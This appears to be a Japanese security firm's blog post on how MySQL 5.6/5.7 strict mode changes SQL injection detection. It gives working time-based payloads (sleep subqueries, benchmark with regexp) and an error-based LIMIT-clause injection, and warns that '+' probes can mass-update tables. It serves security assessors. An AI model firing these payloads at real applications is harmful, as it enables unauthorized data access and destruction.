本サイトは、快適にご利用いただくためにクッキー(Cookie)を使用しております。
Cookieの使用に同意いただける場合は「同意する」ボタンを押してください。
なお本サイトのCookie使用については、「個人情報保護方針」をご覧ください。

最新情報

2016.09.09

最近のMySQLにおけるSQLインジェクションテスト

最近のMySQLにおけるSQLインジェクションテスト

2016.09.09
プロフェッショナルサービス事業部 寺田 健

title1

(English version of this post is available here)

ご存知の方もいるかと思いますが、MySQLはバージョン5.6, 5.7あたりから色々と挙動が変わりました。

この記事では、これらの変更のうちSQLiの検出/攻略方法に影響するものについて書きます。主に取り上げるのは、v5.6においてデフォルトのsql_modeに追加されたSTRICT_TRANS_TABLESモードについてです。

STRICT_TRANS_TABLESとは?

STRICT_TRANS_TABLES(以下strictモード)は、MySQL(5.0.2以上)のsql_modeに含めることができるモードの一つです。このモードが有効の場合、MySQLは更新系のSQL文(例えばUPDATEINSERT文)において、より厳密にデータを取り扱います。

v5.5.x以下のMySQLではこのモードがデフォルトで無効になっているため、それらのバージョンのMySQLを使うWebアプリケーションの多くで無効になっています。ただし、JDBCドライバであるConnector/Jを使うアプリケーションは例外で、かなり昔からドライバ側がこのモードをデフォルトで有効にしています。

最近変化したのは、MySQLがデフォルトでこのモードを有効するようになったことです。まずv5.6において、デフォルトの設定ファイル(my.ini又はmy.cnf)にstrictモードが追加されました。

[デフォルトの設定ファイル]
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES

[MySQLコンソール]
mysql> SELECT @@GLOBAL.sql_mode;
+--------------------------------------------+
| @@GLOBAL.sql_mode                          |
+--------------------------------------------+
| STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION |
+--------------------------------------------+
1 row in set (0.00 sec)

さらに、v5.7では設定ファイル内のsql_modeで明示的に指定しなくてもstrictモードが有効になります。

したがって最近の(あるいは今後導入される)MySQLにおいては、このモードが有効になっているケースが多いでしょう。以下に、このモードのさらなる詳細とセキュリティ診断に及ぼす影響についてみていきます。

文字列の切り詰め

一定の条件を満たす場合、MySQLは更新系のSQL文(UPDATEINSERT)の文字列を切り詰めます。下記はvarchar(10)の列に20バイトの文字列を挿入する例です。

mysql> INSERT INTO test1 VALUES ('abcdefghijklmnopqrst');
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> SELECT * FROM test1;
+------------+
| foo        |
+------------+
| abcdefghij |
+------------+
1 row in set (0.00 sec)

SELECTの結果から、保存された文字列が列のサイズに切り詰められたことが分かります。

問題は、このような挙動がある種のセキュリティチェックのバイパスに悪用される可能性があることです。これはアプリケーションによる何らかのチェックを受けた後に、データが変更(切り詰め)されるためです。古いものではWordPressのCVE-2008-4106、新しいものではBugzillaのCVE-2015-4499が、この種の脆弱性の具体例です。

少し違うタイプの「切り詰め」もあります。これはテーブルの文字コードがutf8utf8_general_ci照合順序)に設定され、保存されるデータにUTF-8の4バイト文字が含まれている時に発生します。この時MySQLは4バイト文字以降を削除してからテーブルに保存してしまうのです。この4バイト文字の問題は、JoomlaのCVE-2015-8562徳丸氏のスライド)が公表された際に注目を集めた手法です。

さて、strictモードがこのような攻撃をどう防ぐのか見てみましょう。

mysql> INSERT INTO test1 VALUES ('abcdefghijklmnopqrst');
ERROR 1406 (22001): Data too long for column 'foo' at row 1

mysql> INSERT INTO test1 VALUES ('ab🍒cd');
ERROR 1366 (HY000): Incorrect string value: '\xF0\x9F\x8D\x92cd' for column 'foo' at row 1

上記のように、このモードが有効の場合、MySQLは文字列を切り詰めず、エラーとして処理します。

暗黙の型変換

strictモードはMySQLの型変換にも影響を与えます。ここで取り上げたいのは、SQLiが存在する脆弱なアプリケーションに対してセキュリティ診断を実施した際に、型変換によって生じるリスクです。

暗黙の型変換とは何か、それがどう危険なのかについて簡単に説明します。

SQLiの検出方法は様々ありますが、しばしば使われるのは文字列連結を使う手法です。例えば、MSSQL用の汎用的な診断パターンであるtest'+'のようなものです。しかし、このようなパターンはMySQLのアプリケーションに予期しない影響を与えることがあります。筆者の個人ブログの古い記事から持ってきた例で説明します。

この例で使うproductテーブルには、全部で4つの行が登録されています。

mysql> SELECT * FROM product;
+----+-----------+--------+-------+
| no | category  | name   | price |
+----+-----------+--------+-------+
|  0 | vegetable | tomato |   100 |
|  1 | vegetable | carot  |    80 |
|  2 | fruit     | orange |   200 |
|  3 | fruit     | apple  |   300 |
+----+-----------+--------+-------+
4 rows in set (0.00 sec)

ここで、診断者がtomato'+'のような値を入力したとします。

その結果、次のようなSQL文が生成されます(網掛け表示は挿入された箇所)。

mysql> SELECT * FROM product WHERE name='tomato'+'';
+----+-----------+--------+-------+
| no | category  | name   | price |
+----+-----------+--------+-------+
|  0 | vegetable | tomato |   100 |
|  1 | vegetable | carot  |    80 |
|  2 | fruit     | orange |   200 |
|  3 | fruit     | apple  |   300 |
+----+-----------+--------+-------+
4 rows in set, 5 warnings (0.00 sec)

SELECT文の実行の結果、なぜかnameが'tomato'でないものを含む全行(4つ)が返ってきています。

このような不思議なことが起こる原因となりうるのが「暗黙の型変換」です。この例では、文字列から数値への型変換が式(name='tomato'+'')の両辺で起こり、いずれの辺も同じ値である0になります。型変換が起こるのは右辺に算術演算子(+)が含まれているからであり、両辺がともに0になるのは、数値っぽくない文字列が0とみなされるためです。これにより全行が返されるわけです。

問題はUPDATEDELETE文でこのような現象が起こる場合です。下記はstrictモード無しのv5.5における実行例です。

mysql> UPDATE product SET price=999 WHERE name='tomato'+'';
Query OK, 4 rows affected, 8 warnings (0.00 sec)
Rows matched: 4  Changed: 4  Warnings: 8

mysql> SELECT * FROM product;
+----+-----------+--------+-------+
| no | category  | name   | price |
+----+-----------+--------+-------+
|  0 | vegetable | tomato |   999 |
|  1 | vegetable | carot  |   999 |
|  2 | fruit     | orange |   999 |
|  3 | fruit     | apple  |   999 |
+----+-----------+--------+-------+
4 rows in set (0.00 sec)

見ての通り全行が更新されてしまいました。つまり、「'+'」のような診断パターンを不用意に使用すると、テーブルの全行が更新/削除されるなどの意図しない処理が行なわれる可能性があるわけです。

ところで、このようなリスクは机上だけのものではありません。パスワードリマインダーの診断中に'+'を含む値を送信したがために、全ユーザのパスワードを更新してしまったという話がzaki4649氏のスライドに書かれています。正直に言うと、似たようなトラブルは筆者も経験したことがあります。

しかし、strictモードのおかげで、このような悲劇は過去の話となるかもしれません。

同じUPDATE文をstrictモードが有効なv5.6で実行してみましょう。

mysql> UPDATE product SET price=999 WHERE name='tomato'+'';
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'tomato'

ご覧の通り、MySQLは奇妙な型変換を行うことなくエラーとして処理を止めます。つまりstrictモードにより我々の診断作業が少しだけ安全になるわけです。

STRICT_TRANS_TABLESが診断に与えた影響

安全性というメリットの一方で、strictモードは「脆弱性の検出」という面において困難をもたらします。

次の4つの脆弱な更新系のSQL文を相手にしているとします。

UPDATE product SET price=999 WHERE name='tomato';
UPDATE product SET category='fruit' WHERE name='tomato';
DELETE FROM product WHERE name='tomato';
INSERT INTO product VALUES (4,'fruit','lemon', 50);

これらのSQLiをタイムベースの診断パターンで検出してみます。下記は過去に筆者が作ったパターンです。

param=[Original value]'-sleep(3)|(select 0 union select 1)-'

* "union select 1"は遅延の後に実行時エラーを起こすために使用しています。その目的は、sleep()が一度だけ実行されること、そしてSQL文がデータを変更しないことを確実にするためです。

strictモードが無効なv5.5.x以下でこのパターンが実行されると、パターンに含まれるsleep()が実行され、その遅延によりタイムベースのSQLiを検出できます。

それでは、strictモードが有効な環境(v5.5.x以下)ではどうでしょう。実は上記4つのSQL文のうちDELETE文を除くすべてが期待通りに動作しません。この場合、MySQLは遅延をすることなく直ちに「Truncated incorrect DOUBLE value」エラーを投げてしまうのです。

したがってこの診断パターンには修正が必要です。

param=[Original value]'-(select * from (select sleep(3) union select 1)t)-'

今度はサブクエリを二重にしました。これであれば意図通りに動作してくれます。

この修正により手動診断の手間は少し増えましたが、ともかくも検出は可能になりました。しかしこの話にはさらに続きがあります。

v5.6以上のSTRICT_TRANS_TABLESの新たな挙動

実は、v5.6においてSTRICT_TRANS_TABLESあるいは sleep()の挙動が変わりました。

困ったことに、二重のサブクエリを使う上記の診断パターンはv5.6以上では動かなくなりました。更新系のSQL文では、遅延なしで「Trancated ...」エラーとなってしまうのです(正確にはv5.6ではDELETE文のみ動作します。v5.7では全て動作しません)。

この新しい挙動は診断する上で頭の痛い問題です。

という訳で、2つほど解決策を考えてみました。

1. benchmark()regexpを使う

E.g. param=[Original value]'-(0 regexp if(benchmark(100000000,md5(1)),1,0x28))-'

2. sleep()AND/ORを使う

E.g. param=0' and 0 or (select * from (select sleep(3) union select 1)t)='

1つ目のbenchmark()regexpを使うパターンは、過去に筆者のスキャナで使用していたものです。興味深いのは、これがsleep()が機能しないコンテキストでも使用可能であることです。しかもsleep()をサポートしない古いMySQL(<v5.0.12)でも動作します。ただし、遅延時間が読みづらく、サーバのCPUに負荷を掛けうるという欠点があります。

2つ目のsleep()AND/ORを使うパターンでは明示的に遅延時間を指定できますが、ほんの少しだけコンテキストに依存する面があります。例えば、v5.6以上では下記のコンテキストで動いてくれません。

mysql> -- IN演算子へのインジェクション
mysql> UPDATE product SET price=999
    -> WHERE name IN ('0' and 0 or (select * from (select sleep(3) union select 1)t)='');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'tomato'

mysql> -- 無視されるWHEREブロックへのインジェクション
mysql> UPDATE product SET price=999
    -> WHERE (category='non-existent')
    -> AND (name='0' and 0 or (select * from (select sleep(3) union select 1)t)='');
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

mysql> -- 更新行無しのUPDATE SET句へのインジェクション
mysql> UPDATE product SET category='0'-(select * from (select sleep(3) union select 1)t)-''
    -> WHERE name='non-existent';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

benchmark()regexpのパターンが優れているのは、上の3つ全てでも動作することです。

benchmark()とregexpの謎

話が脱線しますが、benchmark()について1つ不思議なことがあります。それはbenchmark()regexpの右項に現れる場合にだけ「無敵」になることです。

mysql> -- benchmark()のみ - 遅延しない
mysql> UPDATE product SET category='fruit'-benchmark(100000000,md5(1))-''
    -> WHERE name='non-existent';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

mysql> -- benchmark()とregexp - 遅延する!!!!
mysql> UPDATE product SET category='fruit'-(0 regexp benchmark(100000000,md5(1)))-''
    -> WHERE name='non-existent';
Query OK, 0 rows affected (18.78 sec)
Rows matched: 0  Changed: 0  Warnings: 0

原因は、SQL文の実行プロセスのかなり早い段階で(正規表現による文字列評価が本当に必要なのかを判断するよりも前の段階で)、MySQLが正規表現パターンをプリコンパイルするためだと思われます。おそらくこれが、正規表現中のbenchmark()などの関数がほぼ無条件に実行される理由です。

ところが同じ場所にsleep()を置いても機能しません。

mysql> -- sleep()とregexp - 遅延しない
mysql> UPDATE product SET category='fruit'-(0 regexp sleep(3))-''
    -> WHERE name='non-existent';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

筆者が思いつくのは「特殊な要素(sleep()rand()、複雑なサブクエリなど)が正規表現に含まれる時には、MySQLがプリコンパイルをスキップする」という理由です。この場合、MySQLは、ジャストインタイムで、つまり本当に必要になったタイミングで正規表現をコンパイルします。しかし上のSQL文においてはそのタイミングは最後まで訪れません。更新する行がなくSET句を実行する理由がないためです。

ちなみに、likeescape演算子の項もregexpと同様にプリコンパイルされるので、これらも極端な条件で遅延を発生させることができます。

v5.6以上でのLIMIT句へのインジェクション

最後はLIMIT句におけるSQLiの話です。この種のバグの攻略方法としては、Edward_L's blogの記事に載っているprocedure analyseを使う手法が知られています。

下記はv5.5.x以下でのエラーベースの例です。

mysql> SELECT * FROM mysql.user WHERE Host='x' ORDER BY 1 LIMIT 1,1 procedure analyse(extractvalue(0,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.50'

しかし上の方法はv5.6以上では使えなくなっています。下がv5.6, 5.7での実行結果です。

mysql> SELECT * FROM mysql.user WHERE Host='x' ORDER BY 1 LIMIT 1,1 procedure analyse(extractvalue(0,concat(0x3a,version())),1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'extractvalue(0,concat(0x3a,version())),1)' at line 1

これは、v5.6のyaccファイル(sql_yacc.yy)に、非常に厳密なprocedure analyseの構文定義が追加されたことによる変化です。

それではv5.6以上で何か別の方法があるのか?というと、筆者が現状知る限りはありません。ざっとマニュアルやyaccファイルを見たのですが、LIMIT以降に任意の式を置ける部分は見つかりませんでした。したがって、MySQL固有の条件付きコメント構文を使ってバージョンを探る以上のことは出来ないと思われます。

もうひとつ辛いのは、sql_lex.ccファイルの変更により、v5.7からLIMITUNIONの組合せが禁止されていることです。この組み合わせはORDER BY句がSQL文に含まれていなくても許されません。

mysql> SELECT name FROM product LIMIT 1,1 UNION SELECT 0x30;
ERROR 1221 (HY000): Incorrect usage of UNION and LIMIT

このようにLIMIT句へのインジェクションは、(複文が許されていないのであれば)非常に厳しくなっています。以前より攻撃の余地は少なくなっていると言えるでしょう。

テスト環境

テストで使用したMySQL Community Serverのバージョンは下表のとおりです。

Version Note OS/Installation Release
5.1.72 5.1系の最新版* Windows7/standalone Sep. 2013
5.5.50 5.5系の最新版* Windows7/standalone May. 2016
5.6.10 5.6系(Stable)の最初版 Windows7/standalone Jan. 2013
5.6.31 5.6系の最新版* Windows7/standalone May. 2016
5.7.9 5.7系(Stable)の最初版 Windows7/standalone Oct. 2015
5.7.13 5.7系の最新版* Centos7/server May. 2016

* 本検証時点(2016年6-7月)での最新版



寺田 健 の他のブログ記事を読む

プロフェッショナルサービス事業部
寺田健